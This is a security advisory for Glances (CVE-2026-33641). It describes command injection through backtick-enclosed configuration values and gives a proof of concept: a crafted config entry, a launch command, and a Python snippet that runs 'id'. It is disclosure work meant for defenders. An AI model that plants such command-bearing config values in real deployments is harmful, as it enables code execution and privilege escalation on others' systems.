Command Injection via Dynamic Configuration Values

High **nicolargo** published **GHSA-qhj7-v7h7-q4c7** 4 days ago

Package

Glances

Affected versions	Patched versions
<=4.5.2	None

Description

Summary

Glances supports dynamic configuration values in which substrings enclosed in backticks are executed as system commands during configuration parsing. This behavior occurs in Config.get_value() and is implemented without validation or restriction of the executed commands.

If an attacker can modify or influence configuration files, arbitrary commands will execute automatically with the privileges of the Glances process during startup or configuration reload. In deployments where Glances runs with elevated privileges (e.g., as a system service), this may lead to privilege escalation.

Details

1. Glances loads configuration files from user, system, or custom paths during initialization.
2. When retrieving a configuration value, Config.get_value() scans for substrings enclosed in backticks.

   File: glances/config.py

```
match = self.re_pattern.findall(ret)
for m in match:
    ret = ret.replace(m, system_exec(m[1:-1]))
```

3. The extracted string is passed directly to system_exec().

File: glances/globals.py

```
res = subprocess.run(command.split(' '), stdout=subprocess.PIPE).stdout.decode('ut
```

4. The command is executed and its output replaces the original configuration value.

This execution occurs automatically whenever the configuration value is read.

Affected Files

glances/config.py — dynamic configuration parsing

glances/globals.py — command execution helper

Proof of Concept (PoC)

Scenario: Arbitrary command execution via configuration value

Step 1 — Create malicious configuration file

```
/tmp/glances.conf
```

add below txt on the file

```
[outputs]
url_prefix = 'id'
```

Step 2 — Launch Glances with custom configuration

```
glances -C /tmp/glances.conf
```

Step 3 — Observe behavior

When Glances reads the configuration:

- The command inside backticks is executed
- Output replaces the configuration value
- Execution occurs without user interaction

Reproduce using Python code

```
import subprocess
import re

def system_exec(command):
    return subprocess.run(command.split(' '),
stdout=subprocess.PIPE).stdout.decode().strip()

value = "`id`"
pattern = re.compile(r'(`.+?`)')

for m in pattern.findall(value):
    print(system_exec(m[1:-1]))
```

Output:

```
uid=1000(user) gid=1000(user) groups=1000(user)
```

Impact

Arbitrary Command Execution

Any command enclosed in backticks inside a configuration value will execute with the privileges of the Glances process.

Potential Privilege Escalation

If Glances runs as a privileged service (e.g., root), commands execute with those privileges.

Possible scenarios include:

- Misconfigured file permissions allowing unauthorized config modification
- Shared systems where configuration directories are writable by multiple users
- Container environments with mounted configuration volumes
- Automated configuration management systems that ingest untrusted data

Severity

High 7.8 / 10

CVSS v3 base metrics

Attack vector	Local
Attack complexity	Low
Privileges required	Low
User interaction	None

Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	High

Learn more about base metrics

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2026-33641

Weaknesses

▶ CWE-78

Credits

mith36 Reporter